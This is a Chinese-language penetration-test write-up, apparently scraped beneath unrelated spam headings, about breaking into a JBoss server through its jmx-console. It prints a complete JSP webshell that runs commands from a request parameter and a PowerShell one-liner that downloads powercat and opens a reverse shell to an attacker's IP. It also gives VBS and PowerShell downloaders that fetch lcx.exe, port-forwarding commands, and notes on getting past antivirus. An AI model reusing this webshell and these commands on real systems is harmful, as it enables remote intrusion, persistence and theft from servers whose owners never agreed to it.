完美的世界 1993 电影,穿越小说完本 ,豆豆小说阅读网

一.前言

最近做滲透測試中遇到一個jboss的站，在其中學到一些在乙方工作挺有用的技巧（這次測試是進過授權測試）在次分享一下

二.信息收集

先通過namp進行掃描，同時進行目錄掃描，發現8080/jmx-console/，發現是jboss的站，百度到jboss可以部署war包getshell,訪問http://xxxx:8080//jmx-console/

三.漏洞利用

全局搜索jboss.system,點擊進入

1.制作war包把木馬文件gg.jsp(我是一個直接執行命令代碼)用壓縮軟件壓縮為zip,然后更改后綴為war，然后將該war上傳到互聯網上能夠訪問的網
站上

//gg.jsp <%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %> <html> <head> <title>title> <meta http-equiv="Content-Type" content="text/html; charset=big5"> head> <body> <% Runtime runtime = Runtime.getRuntime(); Process process =null; String line=null; InputStream is =null; InputStreamReader isr=null; BufferedReader br =null; String ip=request.getParameter("cmd"); try { process =runtime.exec(ip); is = process.getInputStream(); isr=new InputStreamReader(is); br =new BufferedReader(isr); out.println("

"); while( (line = br.readLine()) != null ) { out.println(line); out.flush(); } out.println("

"); is.close(); isr.close(); br.close(); } catch(IOException e ) { out.println(e); runtime.exit(1); } %> body> html> 我這里就用python 簡單創建個ftp服務(這也是python的一個巧用)

python -m SimpleHTTPServer 8589

2.進入jboss.system頁面找到如下，填入遠程的war文件地址

成功部署的界面如下

3.訪問shell地址,并執行命令

四.進一步滲透

1.在獲得php shell的基礎上，我們需要一個真正的cmd shell，這樣有利于操作，進過nmap掃描，發現是windows,我們可以通過powershell進行shell反彈

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd

本地監聽，成功獲取一個cmd shell,接下來就是提權了

2.在cmd 中查看端口開放信息，3389和445都開放了想到了永恒之藍打一波,先看看打沒打永恒之藍的補丁,和看看系統信息，發現打了很多補丁

可以通過如下鏈接查看補丁編號網址：https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp 查找永恒之藍補丁編號進行比對發現該目標機器并沒打補丁

3.看端口掃描結果，3389過濾了，445也過濾了，只有端口轉發再打了

4.先在shell中查看有那些任務，看看有沒殺毒軟件，初看沒有，但后來才發現了，居然有卡巴斯基

5.沒事就到處瀏覽目錄查看內容（發現google賬號密碼居然記錄在txt文件中），發現任何目錄都能瀏覽和看信息，就懷疑這個用戶的權限，趕緊看了哈…居然是administrator 組的，那提權就不用了澀，但還是想3389連進去

6.打算用vbs下載一個lcx或者EarthWorm進行端口轉發,vbs下載代碼，一般下載在C:WindowsTemp目錄下，可讀可寫vbs下載代碼

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "C:WindowsTemp2.txt",2 >>download.vbs

powershell 下載代碼

powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:WindowsTemp2.txt')7.當自己寫進去了后，更名為exe執行的時候，被殺了，最后又看了下任務，才發現卡巴斯基，然后就一直被卡在這里8.lcx命令如下lcx 命令

//被攻擊機器 lcx -slave 自己外網ip 51 內網ip 3389 //攻擊機器 lcx.exe -listen 51 9090由于防火墻限制，部分端口如3389無法通過防火墻，此時可以將該目標主機的3389端口透傳到防火墻允許的其他端口，如53端口.

lcx -tran 53 目標主機ip 3389